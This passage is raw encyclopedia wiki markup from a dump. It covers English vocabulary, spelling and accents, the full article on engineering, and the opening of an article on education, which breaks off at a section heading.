English is noted for the vast size of its active vocabulary and its fluidity. English easily accepts technical terms into common usage and imports new words which often come into common usage. In addition, [[slang]] provides new meanings for old words. In fact this fluidity is so pronounced that a distinction often needs to be made between formal forms of English and contemporary usage. See also [[sociolinguistics]].

===Number of words in English===
As the ''General Explanations'' at the beginning of the Oxford English Dictionary state:

:The Vocabulary of a widely diffused and highly cultivated living language is not a fixed quantity circumscribed by definite limits ... there is absolutely no defining line in any direction: the circle of the English language has a well-defined centre but no discernible circumference.

The vocabulary of English is undoubtedly vast, but assigning a specific number to its size is more a matter of definition than of calculation. Unlike other languages, there is no [[Language Academy|Academy]] to define officially accepted words. [[Neologism]]s are coined regularly in medicine, science and technology&amp;mdash;some enter wide usage; others remain restricted to small circles. Foreign words used in immigrant communities often make their way into wider English usage. Archaic, dialectal, and regional words might be considered as &quot;English&quot; or not.

The [[Oxford English Dictionary]] (2nd edition) includes over 500,000 [[headword]]s, following a rather inclusive policy:

:It embraces not only the standard language of literature and conversation, whether current at the moment, or obsolete, or archaic, but also the main technical vocabulary, and a large measure of dialectal usage and slang (Supplement to the OED, 1933).

The difficulty of defining the number of words is compounded by the emergence of new versions of English, such as [[Asian English]].

===Word origins===
[[Image:Influencegraph.PNG|thumb|right|250px|Influences in [[English]]]]
{{main|Lists of English words of international origin}}

One of the consequences of the French influence is that the vocabulary of English is, to a certain extent, divided between those words which are [[Germanic languages|Germanic]] (mostly [[Old English language|Old English]]) and those which are &quot;Latinate&quot; ([[Latin]]-derived, either directly or from Norman French or other Romance languages).

A computerised survey of about 80,000 words in the old ''Shorter Oxford Dictionary'' (3rd ed.) was published in ''Ordered Profusion'' by Thomas Finkenstaedt and Dieter Wolff (1973) which estimated the origin of English words as follows:
* [[French language|French]], including Old French and early Anglo-French: [[List of English words of French origin|28.3%]]
* [[Latin]], including modern scientific and technical Latin: 28.24%
* [[Old English|Old]] and [[Middle English]], [[Old Norse language|Old Norse]], and [[Dutch language|Dutch]]: 25%
* [[Greek Language|Greek]]: 5.32%
* No etymology given: 4.03%
* Derived from proper names: 3.28%
* All other languages contributed less than 1% 

[[James D. Nicoll]] made the oft-quoted observation: &quot;The problem with defending the purity of the English language is that English is about as pure as a cribhouse whore. We don't just borrow words; on occasion, English has pursued other languages down alleyways to beat them unconscious and riffle their pockets for new vocabulary.&quot;
[http://groups.google.com/groups?selm=1990May15.155309.8892%40watdragon.waterloo.edu&amp;oe=UTF-8&amp;output=gplain]

==Writing system==
{{main|English alphabet}}

English is written using the [[Latin alphabet]]. The spelling system or [[orthography]] of English is historical, not [[phonology|phonological]]. The spelling of words often diverges considerably from how they are spoken, and English spelling is often considered to be one of the most difficult to learn of any language that uses an alphabet. See [[English spelling|English orthography]].

===Basic sound-letter correspondence===
{| class=&quot;wikitable&quot; border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot;
! IPA || align=&quot;left&quot; | Alphabetic representation || Dialect-specific
|-
| [[voiceless bilabial plosive|p]] || p ||
|-
| [[voiced bilabial plosive|b]] || b ||
|-
| [[voiceless alveolar plosive|t]] || t, th ''(rarely) thyme, Thames'' || th  ''thing'' ''([[African American Vernacular English|African-American]], [[New York-New Jersey English|New York]])''
|-
| [[voiced alveolar plosive|d]] || d || th ''that'' ''([[African American Vernacular English|African-American]], [[New York-New Jersey English|New York]])''
|-
| [[voiceless velar plosive|k]] || c ''(+ a, o, u, consonants)'', k, ck, ch, qu ''(rarely) conquer'', kh ''(in foreign words)'' ||
|-
| [[voiced velar plosive|g]] || g, gh, gu ''(+ a, e, i)'', gue ''(final position)'' ||
&lt;!-- removed gg because doubled consonants are almost always pronounced just like single ones: hammer, dagger, abyss, berry, etc. --&gt;
|-
| [[bilabial nasal|m]] || m ||
|-
| [[alveolar nasal|n]] || n ||
|-
| [[velar nasal|ŋ]] || n ''(before g or k)'', ng ||
|-
| [[voiceless labiodental fricative|f]] || f, ph, gh ''(final, infrequent) laugh, rough'' || th ''thing'' ''(many forms of [[English English|English used in England]])''
|-
| [[voiced labiodental fricative|v]] || v || th ''with'' ''([[Cockney]], [[Estuary English]])''
|-
| [[voiceless dental fricative|θ]] ||rowspan=2| th : there is no obvious way to identify which is which from the spelling.||
|-
| [[voiced dental fricative|ð]]
|-
| [[voiceless alveolar fricative|s]] || s, c ''(+ e, i, y)'', sc ''(+ e, i, y)'' ||
|-
| [[voiced alveolar fricative|z]] || z, s ''(finally or occasionally medially)'', ss ''(rarely) possess, dessert'', word-initial x ''xylophone'' ||
|-
| [[voiceless postalveolar fricative|{{IPA|ʃ}}]] || sh, sch, ti ''portion'', ci ''suspicion''; si/ssi ''tension'', ''mission''; ch ''(esp. in words of French origin)''; rarely s ''sugar'' ||
|-
| [[voiced postalveolar fricative|{{IPA|ʒ}}]] || si ''division'', zh ''(in foreign words)'', z ''azure'', su ''pleasure'', g ''(in words of French origin)(+e, i, y) genre ||
|-
| [[voiceless velar fricative|x]] || kh, ch, h ''(in foreign words)'' || occasionally ch ''loch'' ''([[Scottish English]], [[Welsh English]])''
|-
| [[voiceless glottal fricative|h]] || h ''(initially, otherwise silent)'' ||
|-
| [[voiceless postalveolar affricate|{{IPA|tʃ}}]] || ch, tch || occasionally tu ''future'', ''culture''; t ''(+ u, ue, eu)'' ''tune, Tuesday, Teutonic'' ''([[Australian English]])''
|-
| [[voiced postalveolar affricate|{{IPA|dʒ}}]] || j, g ''(+ e, i, y)'', dg ''(+ e, i, consonant) badge, judg(e)ment'' || d ''(+ u, ue, ew)'' ''dune, due, dew'' ''(Australian English)''
|-
| [[alveolar approximant|{{IPA|ɹ}}]] || r, wr (initial) ''wrangle'' ||
|-
| [[palatal approximant|j]] || y ''(initially or surrounded by vowels)'' ||
|-
| [[alveolar lateral approximant|l]] || l ||
|-
| [[labial-velar approximant|{{IPA|w}}]] || w ||
|-
| [[voiceless labial-velar fricative|{{IPA|ʍ}}]] || wh  || Scottish and Irish English, as well as some varieties of American, New Zealand, and English English
|}

===Written accents===
&lt;!-- If this grows, it may be better off on its own page [[List of accented English words]] --&gt;

English includes some words which can be written with accent marks. These words have mostly been imported from other languages, usually French. But it is increasingly rare for writers of English to actually use the accent marks for common words, even in very formal writing. The strongest tendency to retain the accent is in words that are atypical of English morphology and therefore still perceived as slightly foreign. For example, ''café'' has a pronounced final ''e'', which would be silent by the normal English pronunciation rules.

Some examples: ångström, appliqué, attaché, blasé, bric-à-brac, café, cliché, crème, crêpe, façade, fiancé(e), flambé, naïve, né(e), papier-mâché, passé, piñata, protégé, raison d'être, résumé, risqué, über-, vis-à-vis, voilà. For a more complete list, see [[List of English words with diacritics]].

Some words such as ''rôle'' and ''hôtel'' were first seen with accents when they were borrowed into English, but now the accent is almost never used. The words were considered very French borrowings when first used in English, even accused by some of being foreign phrases used where English alternatives would suffice, but today their French origin is largely forgotten. The accent on &quot;élite&quot; has disappeared from most publications today, but [[Time Magazine|''Time'']] magazine still uses it. For some words such as &quot;soupçon&quot; however, the only spelling found in English dictionaries (the [[Oxford English Dictionary|OED]] and others) uses the diacritic.

[[Italic type|Italic]]s, with appropriate accents, are generally applied to foreign terms that are uncommonly used in or have not been assimilated into English: for example, ''[[adiós]]'', ''[[coup d'état]]'', ''[[crème brûlée]]'', ''[[pièce de résistance]]'', ''[[raison d'être]]'', ''[[über]]'' (''[[Übermensch|übermensch]]''), ''[[vis-à-vis]]''.

It is also possible to use a [[diaeresis]] to indicate a syllable break, but again this is often left out or a hyphen used instead. Examples: coöperate (or co-operate), daïs, naïve, noël, reëlect (or re-elect). One publication that still uses a diaeresis to indicate a syllable break is the ''[[The New Yorker|New Yorker]]'' magazine.

Written accents are also used occasionally in [[poetry]] and scripts for [[drama]]tic performances to indicate that a certain normally unstressed syllable in a word should be stressed for dramatic effect, or to keep with the meter of the poetry. This use is frequently seen in archaic and pseudoarchaic writings with the &quot;-ed&quot; suffix, to indicate that the &quot;e&quot; should be fully pronounced, as with ''cursèd''.

In certain older texts (typically in [[Commonwealth English]]), the use of [[ligature (typography)|ligatures]] is common in words such as archæology, œsophagus, and encyclopædia. Such words have [[Latin]] or [[Greek language|Greek]] origin. Nowadays, the ligatures have been generally replaced in Commonwealth English by the separated letters &quot;ae&quot; and &quot;oe&quot; (&quot;archaeology&quot;, &quot;oesophagus&quot;) and in [[American English]] by &quot;e&quot; (&quot;esophagus&quot;). However, the spellings &quot;oeconomy&quot; and &quot;oecology&quot; are now generally replaced by &quot;economy&quot; and &quot;ecology&quot; in Commonwealth English, making these spellings the same as in American English.

The two major English language keyboard layouts, namely United States and United Kingdom, normally do not fully permit these accents to be typed into the computer. However, the United States-International and United Kingdom-International keyboard layouts permit such accents to be keyed in. See [[British and American keyboards]], [[keyboard layouts]]

==See also==
* [[English literature]]
* [[Formal written English]]
* [[List of languages]]
* [[Common phrases in various languages]]

===Dialects===
* [[American and British English differences]]
* [[English speaking Europe]]
* [[Australian English]]
* [[New Zealand English]]
* [[Canadian English]]
* [[General American]]
* [[List of dialects of the English language]]
* [[Indian English]]

===Pronunciation===
* [[Australian English phonology]]
* [[Received Pronunciation]]
* [[General American]]
* [[International Phonetic Alphabet for English]]
* [[List of words of disputed pronunciation]]
* [[Non-native pronunciations of English]]
* [[Anglophone pronunciation of foreign languages]]
* [[Phonemic differentiation]]
* [[Regional accents of English speakers]]
* [[Rhotic and non-rhotic accents]]
* [[:Category:Splits and mergers in English phonology]]

===Social, cultural or political===
* [[Anglophone]]
* [[Anglosphere]]
* [[Anglo-Saxon]]
* [[English as a lingua franca for Europe]]
* [[English as an additional language]]
* [[English on the Internet]]
* [[Foreign language influences in English]]
* [[Languages in the United States]]
* [[Lists of English words of international origin]]

===Grammar===
* [[Declension in English|English declension]]
* [[English plural]]
* [[English verbs|English verb conjugation]]
* [[Initial-stress-derived noun]]
* [[Present progressive tense]]

===Usage===
* [[Dictionary]]
* [[Like]]
* [[List of archaic English words and their modern equivalents]]
* [[List of unusual English words]]
* [[Longest word in English]]
* [[Misspelling]]
* [[Gender-neutral language]]
* [[Singular they]]
* [[Siamese twins (English language)]]
* [[English spelling reform]]

==External links==
* [http://www.ethnologue.com/show_language.asp?code=eng Ethnologue report for English]
* [http://www.eslbase.com/ TEFL] - Teaching English as a Foreign Language
* http://www.bbc.co.uk/radio4/routesofenglish/index.shtml BBC - Radio 4 - Routes of English]
* [http://www.englishtenseswithcartoons.com/ Short Descriptions of the English Tenses]
* [http://www.ego4u.com/ English Grammar Online] - free exercises, explanations, games and teaching materials on English as a foreign language
* [http://www.english.hb.pl Pako's English] - articles and advice for English learners
* [http://www.englisch-hilfen.de/en Learning English Online] - grammar, vocabulary, exercises, exams - English as a second language
* [http://www.LanguageMonitor.com/ LanguageMonitor] - Watchdog on contemporary English usage
* [http://www.lonympics.co.uk/top10englishspeakingcountriesinpopulation.htm ] The 10 largest countries in the world, that in the main speak English as their main tounge.
* [http://www.whatdoesthatmean.com/ What Does That Mean?] A wiki based lexicon of English idioms from around the world
* [http://st-takla.org/Learn_Languages/03_Learn-English-Lessons-Taaleim-engelizy-Free/Learn-English_00-Index-El-Fehres.html Learn English Online for Arabic users]
*[http://digital.library.wisc.edu/1711.dl/AmerLangs American Languages: Our Nation's Many Voices Online]
* [http://www.espindle.org/fun_facts.html Anecdotes about the English language] For those struggling with the peculiarities of the English language - you deserve a laugh!
* [http://cla.calpoly.edu/~jrubba/morph/morph.over.html An overview of the English morphological system]
* [http://www.antimoon.com/how/howtolearn.htm How to learn English] – A method of acquiring English as a second/foreign language

==Dictionaries==
* [http://www.oed.com Oxford English Dictionary] – The definitive record of the English language
* [http://dicts.info/dictlist1.php All free English dictionaries] – Collection of many free English dictionaries
* [http://dictionary.cambridge.org Cambridge Dictionary]
* [http://dictionary.titiland.com/ Titiland English Dictionary]
* [http://www.freelang.net/dictionary/french.html Freelang - French-English Dictionary made by Bertrand Cornu]
* [http://www.ldoceonline.com Longman English Dictionary]
* [http://www.dictionary.com Dictionary.com]
* [[Dictionary of American Regional English]][http://polyglot.lss.wisc.edu/dare/dare.html]

==Further reading==
*Baugh AC and Cable T. ''A history of the English language'' (5th ed), Routledge, 2002 (ISBN 0415280990)
*[[David Crystal|Crystal, David]] (1997). ''English as a Global Language'', Cambridge: Cambridge University Press. ISBN 0521530326.
*Crystal, D. ''The Cambridge encyclopedia of the English language'' (2nd ed), Cambridge University Press, 2003 (ISBN 0521530334)
*Halliday, MAK. ''An introduction to functional grammar'' (2nd ed), London, Edward Arnold, 1994 (ISBN 0340557826)
*McArthur, T (ed). ''The Oxford Companion to the English Language'', Oxford University Press, 1992 (ISBN 019214183X)
*Robinson, Orrin, &quot;Old English and Its Closest Relatives&quot;, Stanford Univ Press, 1992 (ISBN 0-8047-2221-8)

{{Official EU languages}}

[[Category:English language|English language]]
[[Category:Languages of Canada]]
[[Category:Languages of Fiji]]
[[Category:Languages of Guam]]
[[Category:Languages of Hong Kong]]
[[Category:Languages of India]]
[[Category:Languages of New Zealand]]
[[Category:Languages of Singapore]]
[[Category:Languages of the Philippines]]
[[Category:Languages of the United Kingdom]]
[[Category:Languages of the United States]]

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'''Engineering''' is the application of [[science|scientific]] and [[technology|technical]] knowledge to solve human problems. Engineers use imagination, judgment, reasoning and experience to apply [[science]], technology, [[mathematics]], and practical [[experience]]. The result is the [[design]], [[production|production]], and operation of useful [[object (philosophy)|object]]s or [[process]]es.  

==Methodology==
The crucial and unique task of the engineer is to identify, understand, and integrate the [[constraint]]s on a design in order to produce a successful result. It is usually not enough to build a technically successful product; it must also meet further requirements. Constraints may include available resources, physical or technical limitations, flexibility for future modifications and additions, and other factors, such as requirements for cost, [[producibility]], and [[serviceability]]. By understanding the constraints, engineers derive [[specifications]] for the limits within which a viable object or system may be produced and operated.

===Problem solving===
Engineers use their knowledge of [[science]], [[mathematics]], and [[empirical knowledge|appropriate experience]] to find suitable solutions to a [[problem]].  Creating an appropriate [[mathematical model]] of a problem allows them to analyze it (sometimes definitively), and to test potential solutions. Usually multiple reasonable solutions exist, so engineers must evaluate the different [[design choice]]s on their merits and choose the solution that best meets their requirements.  [[Genrich Altshuller]], after gathering statistics on a large number of [[patent]]s, suggested that [[compromise]]s are at the heart of &quot;[[level of invention|low-level]]&quot; engineering designs, while at a higher level the best design is one which eliminates the core [[contradiction]] causing the [[problem]].

Engineers typically attempt to predict how well their designs will perform to their specifications prior to full-scale production. They use, among other things: [[prototype]]s, [[scale model]]s, [[simulation]]s, [[destructive testing|destructive test]]s, [[nondestructive testing|nondestructive tests]], and [[stress test]]s. Testing ensures that products will perform as expected. Engineers as professionals take seriously their responsibility to produce designs that will perform as expected and will not cause unintended harm to the public at large. Engineers typically include a [[factor of safety]] in their designs to reduce the risk of unexpected failure. However, the larger the safety factor, the less efficient the design may be.

===Computer use===
As with all modern scientific and technological endeavours, computers and software play an increasingly important role. Numerical methods and simulations can help predict design performance more accurately than previous approximations.

Using [[computer-aided design]] (CAD) software, engineers are able to more easily create drawings and models of their designs. Computer models of designs can be checked for flaws without having to make expensive and time-consuming prototypes. The computer can automatically translate some models to instructions suitable for automatic machinery (e.g., [[CNC]]) to fabricate (part of) a design. The computer also allows increased reuse of previously developed designs, by presenting an engineer with a library of predefined parts ready to be used in designs.

Of late, the use of [[FEM|finite element method analysis]] (FEM analysis or FEA) software to study stress, temperature, flow as well as electromagnetic fields has gained importance. In addition, a variety of software is available to analyse dynamic systems.

Electronics engineers make use of a variety of circuit [[schematic]]s software to aid in the creation of  circuit designs that perform an electronic task when used for a [[printed circuit board]] (PCB) or a computer chip.

The application of computers in the area of engineering of goods is known as [[Product Lifecycle Management]] (PLM).

==Etymology==
It is a myth that ''engineer'' originated to describe those who built [[engine]]s. In fact, the words ''engine'' and ''engineer'' (as well as ''ingenious'') developed in parallel from the Latin root ''ingeniosus'', meaning &quot;skilled&quot;. An engineer is thus a clever, practical, problem solver. The spelling of ''engineer'' was later influenced by back-formation from ''engine''. The term later evolved to include all fields where the skills of application of the [[scientific method]] are used. In some other languages, such as Arabic, the word for &quot;engineering&quot; also means &quot;geometry&quot;.

The fields that became what we now call engineering were known as the [[mechanic arts]] in the 19th century.

==Engineering in a Social Context==
Engineering is a subject that ranges from large collaborations to small individual projects.  Almost all engineering projects are beholden to some sort of financing agency: a company, a set of investors, or a government. The result of this is that large-scale engineering projects often lose much of their original purpose to some form of bureaucracy.  The few types of engineering that are minimally constrained by such issues are [[pro bono]] engineering and [[open design]] engineering.

==Cultural presence==
Historically, engineering has been seen as a somewhat dry, uninteresting field in [[popular culture]], and has also been thought to be the domain of [[nerd]]s (with little of the romance that attaches to [[hacker]] culture). For example, the cartoon character [[Dilbert]] is an engineer. 

This has not always been so - most British school children in the 1950s were brought up with stirring tales of 'the Victorian Engineers', chief amongst whom where the Brunels, the Stephensons, Telford and their contemporaries.

In [[science fiction]] engineers are often portrayed as highly knowledgeable and respectable individuals who understand the overwhelming future technologies often portrayed in the genre. The ''[[Star Trek]]'' characters [[Montgomery Scott]] and [[Geordi La Forge]] are famous examples.

Engineers are often respected and ridiculed for their intense beliefs and interests. Perhaps because of their deep understanding of the interconnectedness of many things, engineers such as Governor [[John H. Sununu]], 
New York City Mayor [[Michael_Bloomberg#Personal_life_and_business_career | Michael Bloomberg]] and 
Nuclear Physicist [[Edward_Teller#Early_life_and_education | Edward Teller]], are often driven into politics to &quot;fix things&quot; for the public good.

Occasionally, engineers may be recognized by the &quot;[[Iron Ring]]&quot;--a stainless steel or iron ring worn on the little (fourth) finger of the dominant hand.  This tradition was originally developed in Canada in [[the Ritual of the Calling of an Engineer]] as a symbol of pride and obligation for the engineering profession.  Some years later this practice was adopted in the United States.  Members of the US [[Order of the Engineer]] accept this ring as a pledge to uphold the proud history of engineering.  A [[Professional Engineer]]'s name often has the [[post-nominal letters]] PE or P.Eng.

Engineers still only need a [[Bachelor's degree|bachelor's degree]] to obtain a lucrative position that receives respect from the public. This is not the case in many other professions.

==Legislation==
In most modern countries, certain engineering tasks, such as the design of bridges, electric power plants, and chemical plants, must be approved by a [[Professional Engineer]] or a [[Chartered Engineer]].  

Laws protecting public health and safety mandate that a [[professional]] must provide guidance gained through [[education]] and experience. In the United States, each state tests and licenses [[Professional Engineer]]s.

The federal government, however, supervises aviation through the Federal Aviation Regulations administrated by the Dept. of Transportation, Federal Aviation Administration. Designated Engineering Representatives approve data for aircraft design and repairs on behalf of the Federal Aviation Administration.

Even with strict testing and licensure, engineering disasters still occur. Therefore, the [[Professional Engineer]] or [[Chartered Engineer]] adheres to a strict code of [[ethics]]. Each engineering discipline and professional society maintains a code of ethics, which the members pledge to uphold.

In Canada the profession in each province is governed by its own engineering association.  For instance, in the Province of British Columbia an engineering graduate with 5 or more years of experience in an engineering-related field will need to be certified by the Association for Professional Engineers and Geoscientists (APEGBC) in order to become a Professional Engineer.

Refer also to the [[Washington accord]] for international accreditation details of professional engineering degrees.

==Comparison to other disciplines==
===Science===
:''You see things; and you say &quot;Why?&quot; But I dream things that never were; and I say &quot;Why not?&quot;'' ''&amp;mdash;[[George Bernard Shaw]]'' 

Engineering is concerned with the design of a solution to a practical problem. A [[scientist]] may ask ''why'' a problem arises, and proceed to research the answer to the question or actually solve the problem in his first try, perhaps creating a [[mathematical model]] of his observations. By contrast, engineers want to know ''how'' to solve a problem, and ''how'' to implement that solution. In other words, scientists attempt to ''explain'' phenomena, whereas engineers use any available knowledge, including that produced by science, to ''construct'' solutions to problems. This is no contradiction. 

There is an overlap between science (fundamental and applied) and engineering. It is not uncommon for scientists to become involved in the practical application of their discoveries; thereby becoming, for the moment, engineers. Scientists may also have to complete engineering tasks, such as designing experimental apparatus or building prototypes. Conversely, in the process of developing technology engineers sometimes find themselves exploring new phenomena, thus becoming, for the moment, scientists.

However, engineering research has a character different from that of scientific research. First, it often deals with areas in which the basic physics and/or chemistry are well understood, but the problems themselves are too complex to solve in an exact manner. The purpose of engineering research is then to find approximations to the problem that can be solved. Examples are the use of numerical approximations to the [[Navier-Stokes equations]] to solve aerodynamic flow over an aircraft, or the use of [[metal fatigue|Miner's rule]] to calculate fatigue damage to an engineering structure. Second, engineering research employs many semi-empirical methods that are foreign to pure scientific research, one example being the [[Method of variation of parameters|method of parameter variation]].

In general, it can be stated that a scientist builds in order to learn, but an engineer learns in order to build.

===Other fields===
There are significant parallels between engineering and [[medicine]]. Both professions are well known for their pragmatism &amp;mdash; the solution to real world problems often requires moving forward before phenomena are completely understood in a more rigorous [[scientific]] sense.

There are also close connections between the workings of engineers and artists; they are direct in some fields, for example, [[architecture]], [[landscape architecture]] and [[industrial design]]; and indirect in others. Artistic and engineering creativity may be fundamentally connected.

==Top 15 branches==
(See [[fields of engineering]] for a full listing.)

* [[Aerospace engineering]]
* [[Architectural engineering]]
* [[Biomedical engineering]]
* [[Chemical engineering]]
* [[Civil engineering]] 
* [[Computer engineering]]
* [[Electrical engineering]]
* [[Electronics engineering]]
* [[Environmental engineering]]
* [[Industrial engineering]]
* [[Materials science|Materials engineering]]
* [[Mechanical engineering]]
* [[Petroleum engineering]]
* [[Software engineering]]
* [[Systems engineering]]

==See also==
*[[List of engineering topics]] (covers the broad field of engineering).

*[[List of aerospace engineering topics]]
*[[List of biomedical engineering topics]]
*[[List of chemical engineering topics]] 
*[[List of electrical engineering topics (alphabetical)|List of electrical engineering topics]]  (alphabetical)
*[[List of electrical engineering topics]]  (thematic)
*[[List of genetic engineering topics]]  
*[[List of mechanical engineering topics]]
*[[List of nanoengineering topics]] 
*[[List of software engineering topics (alphabetical)|List of software engineering topics]]  (alphabetical)
*[[List of software engineering topics]]  (thematic)
*[[List of engineers]]
*[[Open Design]]
*[[Fields of engineering]]
*[[Engineering society]]
*[[Iron Ring]]
*[[The Ritual of the Calling of an Engineer]]

==Sources==
* [[Henry Petroski|Petroski, Henry]], ''To Engineer is Human: The Role of Failure in Successful Design'', Vintage, 1992
* [[Henry Petroski|Petroski, Henry]], ''The Evolution of Useful Things: How Everyday Artifacts-From Forks and Pins to Paper Clips and Zippers-Came to be as They are'', Vintage, 1994
* Vincenti, Walter G. ''What Engineers Know and How They Know It: Analytical Studies from Aeronautical History'', Johns Hopkins University Press, 1993

==External links==
*[http://www.nspe.org/govrel/gr2-ps1737.asp  Licensure and Qualifications for the Practice of Engineering ]
*[http://www.order-of-the-engineer.org/e-ring.htm The Engineer's Ring]
*[http://ironring.ca/ The Ritual of the Calling of an Engineer]
*[http://www.matscieng.sunysb.edu/disaster/ Engineering Disasters and Learning from Failure]
*[http://www.asee.org/ American Society for Engineering Education (ASEE)]
*[http://www.asee.org/about/publications/profiles/upload/2003engprofile.pdf ASEE engineering profile (2003) PDF]
*[http://www.ieee.org/ The Instititute of Electrical and Electronics Engineers, Inc. (IEEE) ]
*The [http://engineering.wikicities.com/wiki/Main_Page Engineering Wiki] a [[wiki]] entirely dedicated to collecting information about Engineering.
*[http://www.incose.org/ International Council on Systems Engineering (INCOSE)]
*[http://www.interec.net Engineering Jobs, Resume, and Salary Database]
*[http://engineering.wikicities.com/wiki/Main_Page Engineering Wiki]

[[Category:Architecture and engineering occupations]]
[[Category:Engineering]]

[[af:Ingenieurswese]]
[[ar:هندسة تطبيقية]]
[[ast:Inxeniería]]
[[bg:Инженерство]]
[[bn:প্রকৌশলবিদ্যা]]
[[br:Ijinerezh]]
[[ca:Enginyeria]]
[[da:Ingeniørfag]]
[[de:Ingenieurwissenschaft]]
[[es:Ingeniería]]
[[eo:Inĝenierarto]]
[[fa:مهندسی]]
[[fr:Ingénierie]]
[[fy:Technyk]]
[[gl:Enxeñaría]]
[[ko:공학]]
[[hr:Strojarstvo]]
[[io:Injenior-arto]]
[[id:Teknik]]
[[iu:ᑎᑎᕋᐅᔭᖅ]]
[[it:Ingegneria]]
[[he:הנדסה]]
[[ka:საინჟინრო მეცნიერება]]
[[lad:Enjenyeriya]]
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[[hu:Mérnöki tudomány]]
[[ms:Kejuruteraan]]
[[nl:Techniek]]
[[ja:工学]]
[[pl:Inżynieria]]
[[pt:Engenharia]]
[[ro:Inginerie]]
[[sa:अभियांत्रिकी शास्त्रं]]
[[scn:Ncignirìa]]
[[simple:Engineering]]
[[sl:Tehnika]]
[[tl:Inhinyeriya]]
[[ta:பொறியியல்]]
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    </revision>
  </page>
  <page>
    <title>Education</title>
    <id>9252</id>
    <revision>
      <id>42005204</id>
      <timestamp>2006-03-03T04:14:15Z</timestamp>
      <contributor>
        <username>Rfrisbie</username>
        <id>896545</id>
      </contributor>
      <minor />
      <comment>/* See also */ removed existing links, added glossary &amp; list link</comment>
      <text xml:space="preserve">[[Image:Klassenzimmer1930.jpg|thumb|right|250px|A German [[classroom]], dating to the 1930s.]] {{portalpar|Schools}}
{{portalpar|University}}
{{Portalpar|Education|Nuvola apps bookcase.png}}
'''Education''' is a [[social science]] that [[List of education topics|encompasses]] [[teaching]] and [[learning]] specific [[knowledge]], [[belief]]s, and [[skill]]s. Licensed and practicing teachers in the field use a variety of methods and materials in order to impart a [[curriculum]]. There has been a plethora of journals, magazines, books, and digests in the field of education that addresses these areas. Such literature addresses the teaching practices, with subjects that include lectures, game playing, testing, scheduling, record keeping, bullying, seating arrangements, interests, motivation, and computer access. However, the  most important factors in any teacher's effectiveness is the interaction with students and personality of the teacher. The quality of their relationships provides the impetus for inspiration. The best teachers are able to translate good [[judgment]], experience, and [[wisdom]] into the art of communication that students find compelling. It is their ability to understand and overcome prejudices, generate passion, and recognize potential that enable teachers to invigorate students with higher expectations of themselves and society at large. The goal is aiding the growth of students so that they become productive members of a migratory society. An imparting of [[culture]] from generation to generation (see [[socialisation]]) promotes a greater awareness and responsiveness through social maturity to the needs of an increasingly diversified global society.

== Overview ==
It is widely accepted that the process of education begins at birth and continues throughout life. Some believe that education begins even earlier than this, as evidenced by some parents' playing music or reading to the baby in the womb in the hope it will influence the child's development.

''Education'' is often used to refer solely to formal education (see below). However, it covers a range of experiences, from formal learning to the building of understanding through day to day experiences. Ultimately, all that we experience serves as a form of education.

Individuals receive informal education from a variety of sources.  [[Family]] members and mass media have a strong influence on the informal education of the individual.

== Terminology ==
The word ''education'' is derived from the [[Latin]] ''educare'' meaning &quot;to raise&quot;, &quot;to bring up&quot;, &quot;to train&quot;, &quot;to rear&quot;, via &quot;educatio/nis&quot;, bringing up, raising. In recent times the myth has arisen of its derivation from a different verb: ''educere'', meaning &quot;to lead out&quot; or &quot;to lead forth&quot;; however the English word from this verb is &quot;eduction&quot;: drawing out. This false etymology is used to bolster one of the theories behind the function of education—to develop innate abilities and expand horizons.

== The psychology of education ==
{{main|Educational psychology}}

[[Educational psychology]] is the study of how humans learn in educational settings, the effectiveness of educational interventions, the psychology of teaching, and the [[social psychology]] of  [[school]]s as [[organization]]s.  Although the terms &quot;educational psychology&quot; and &quot;school psychology&quot; are often used interchangeably, researchers and theorists are likely to be identified as [[:Category:Educational psychologists|educational psychologists]], whereas practitioners in schools or school-related settings are identified as [[School psychologist|school psychologists]].  Educational psychology is concerned with the processes of educational attainment among the general population and sub-populations such as [[gifted]] children and those subject to specific [[disabilities]].

Educational psychology can in part be understood through its relationship with other disciplines. It is informed primarily by [[psychology]], bearing a relationship to that discipline analogous to the relationship between [[medicine]] and [[biology]]. Educational psychology in turn informs a wide range of specialities within educational studies, including [[instructional design]], [[educational technology]], curriculum development, [[organizational learning]], [[special education]] and [[classroom management]]. Educational psychology both draws from and contributes to [[cognitive science]] and the [[learning sciences]]. In universities, departments of educational psychology are usually housed within faculties of education, possibly accounting for the lack of representation of educational psychology content in introductory psychology textbooks (Lucas, Blazek, &amp; Raley, 2005).

== Formal education ==
Formal education occurs when society or a group or an individual sets up a [[curriculum]] to educate people, usually the young. Formal education can become systematic and thorough. Formal education systems can be used to promote doctrines or ideals as well as knowledge and this can sometimes lead to abuse of the system.

Life-long or [[adult education]] has become widespread in many countries. However, education is still seen by many as something aimed at children, and adult education is often branded as ''adult learning'' or ''lifelong learning''.

Adult education takes on many forms from formal class-based learning to self-directed learning.  Lending [[Library|libraries]] provide inexpensive informal access to books and other self-instructional materials. Many adults have also taken advantage of the rise in computer ownership and internet access to further their informal education.

== Technology ==
{{main|Educational technology}}

Inexpensive [[technology]] is an increasingly influential factor in education. [[Computers]] and mobile phones are being widely used in developed countries to both complement established education practices and develop new ways of learning such as [[online education]] (a type of distance education). This gives students discretion in what they are interested in learning. The proliferation of computers also means the increase of programming and blogging. Technology clearly offers powerful learning tools that can engage students.

== History ==
In 1994, [[Dieter Lenzen]], president of the [[Freie Universität Berlin]], said &quot;education began either millions of years ago or at the end of [[1770]]&quot;. This quote by Lenzen includes the idea that education as a science cannot be separated from the educational traditions that existed before. The first chair of [[pedagogy]] was founded at the end of the [[1770s]] at the [[University of Halle]], [[Germany]].

Education was the natural response of early civilizations to the struggle of surviving and thriving as a culture. Adults trained the young of their society in the knowledge and skills they would need to master and eventually pass on. The evolution of culture, and human beings as a species depended on this practice of transmitting knowledge. In pre-literate societies this was achieved orally and through imitation. Story-telling continued from one generation to the next. Oral language developed into written symbols and letters. The depth and breadth of knowledge that could be preserved and passed soon increased exponentially.

When cultures began to extend their knowledge beyond the basic skills of communicating, trading, gathering food, religious practices, etc, formal education, and schooling, eventually followed. Schooling in this sense was already in place in Egypt between 3000 and 500BC.

[[Basic education]] today is considered those skills that are necessary to function in society.

=== Europe ===
